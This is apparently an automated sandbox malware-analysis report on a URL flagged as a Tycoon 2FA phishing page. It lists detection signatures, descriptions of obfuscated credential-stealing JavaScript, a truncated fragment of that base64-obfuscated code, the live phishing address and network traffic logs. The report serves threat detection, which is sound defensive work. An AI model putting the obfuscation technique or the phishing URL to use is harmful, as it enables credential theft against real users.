Edit tour

Windows Analysis Report
https://er.avunzocl.ru/hhtc/

Overview

General Information

Sample URL:	https://er.avunzocl.ru/hhtc/
Analysis ID:	1644659
Infos:

Detection

Invisible JS, Tycoon2FA

Score:	76
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected AntiDebug via timestamp check

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains password input but no form action

HTML page contains hidden javascript code

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7116 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2080 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7560 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3856 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1296 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=720 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6156 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://er.avunzocl.ru/hhtc/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.1.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.2.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.6..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 7 entries

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected Invisible JS

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.2.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting browser automation tools, blocking keyboard shortcuts and right-click functionality, and using a debugger trap to redirect the user to an unrelated website. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing security analysis or user interaction. The script also uses obfuscated function names, further raising concerns about its purpose. Overall, this script poses a significant risk and should be treated with caution.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://er.avunzocl.ru/hhtc/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to redirect the user to an unrelated domain (Google) are all strong indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.
Source: 0.9.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and triggering a redirect to an external domain. The combination of these behaviors suggests a highly suspicious and potentially malicious script that is likely attempting to bypass security measures and engage in unauthorized activities.
Source: 0.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution using `eval()` and potential data exfiltration. The obfuscated code and use of proxy objects further increase the risk. This script should be considered highly suspicious and potentially malicious.
Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://er.avunzocl.ru/hhtc/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob` and `decodeURIComponent` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 2.92.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk indicators, including dynamic code execution through the use of `eval` and the `Function` constructor. It also exhibits obfuscated code, which raises concerns about its true purpose. The combination of these behaviors strongly suggests malicious intent, warranting a high-risk score.
Source: 2.80.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of the `eval` function, the transmission of sensitive data to external servers, and the heavy obfuscation of the script content indicate a high likelihood of malicious intent. Additionally, the script appears to be using a base64-encoded payload, which is a common technique for hiding malicious code. Overall, this script poses a significant security risk and should be treated with caution.

Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://er.avunzocl.ru/hhtc/

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Portfolio & Agency - Modern Design</title> <link href="https://fonts.googleapis.com/css2?family=Montserrat...

Source: https://er.avunzocl.ru/hhtc/

HTTP Parser: function zzdjvjdnzf(){taojqruznr = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...

Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=25854045&timestamp=1742495677191
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: Iframe src: /_/bscframe
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=25854045&timestamp=1742495677191
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: Iframe src: /_/bscframe
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=25854045&timestamp=1742495677191
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: Iframe src: /_/bscframe
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=25854045&timestamp=1742495677191
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: Iframe src: /_/bscframe

HTTP Parser: <input type="password" .../> found

Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://www.google.com/	HTTP Parser: No favicon
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No favicon
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No favicon
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No favicon
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No favicon

Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No <meta name="author".. found

Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.google.com%2F%3Fptid%3D19027681%26ptt%3D8%26fpts%3D0&ec=futura_hpp_co_si_001_p&ifkv=AXH0vVv-1LU_VRk3WXvJrzttViTogsSkqk3So-J0iut_tmxNEuvs9ZlUTZDDpxrdInTezXhPt9gV&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1691780418%3A1742495674137544	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.181:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.181:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.143.230:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.75:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.171.153:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.181:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.174:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.176.206:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.78:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.78:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.78:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.46:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.78:443 -> 192.168.2.5:49887 version: TLS 1.2

Source:	Binary string: _.l.Ic=function(){_.pdb.od.Ic.call(this);_.Hl(this.handle,["touchstart","mousedown"],this.M3b,!1,this);this.ka.removeAll();this.La&&this.wa.releaseCapture();this.handle=this.target=null}; source: chromecache_187.3.dr
Source:	Binary string: var zJb=function(a,b){a.wRa=b;a.Na()&&(b=a.Kba())&&_.rl(b,a.wRa)},AJb=function(a,b){a.Djb=b;if(a.Yq()){var c=a.ka,d=a.Kba(),e=a.IJ;b?(e&&c.gQb(e,a.Na()),c.gQb(d,a.Na())):(c.removeNode(e),c.removeNode(d))}a.isVisible()&&vJb(a,b)},BJb=function(a){1!=a.Djb&&AJb(a,!0)},CJb=function(a,b){var c=_.la(a.wa+"-title-draggable").split(" ");a.Na()&&(b?_.gk(a.nQ,c):_.ik(a.nQ,c));b&&!a.e5?(b=new _.pdb(a.Na(),a.nQ),a.e5=b,_.gk(a.nQ,c),_.Id(a.e5,"start",a.Rad,!1,a),_.Id(a.e5,"drag",a.qua,!1,a)):!b&&a.e5&&(a.e5.dispose(), source: chromecache_162.3.dr
Source:	Binary string: _.pdb=function(a,b,c){_.Gd.call(this);this.target=a;this.handle=b\|\|a;this.Ia=c\|\|new _.bl(NaN,NaN,NaN,NaN);this.wa=_.kf(a);this.ka=new _.Ll(this);_.ug(this,this.ka);this.deltaY=this.deltaX=this.Ta=this.Qa=this.screenY=this.screenX=this.clientY=this.clientX=0;this.Ca=!0;this.Aa=this.oa=!1;_.Id(this.handle,["touchstart","mousedown"],this.M3b,!1,this);this.La=_.MCa};_.Zg(_.pdb,_.Gd);_.l=_.pdb.prototype;_.l.Kj=function(){return this.Ca};_.l.setEnabled=function(a){this.Ca=a}; source: chromecache_187.3.dr

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.43
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /hhtc/ HTTP/1.1Host: er.avunzocl.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
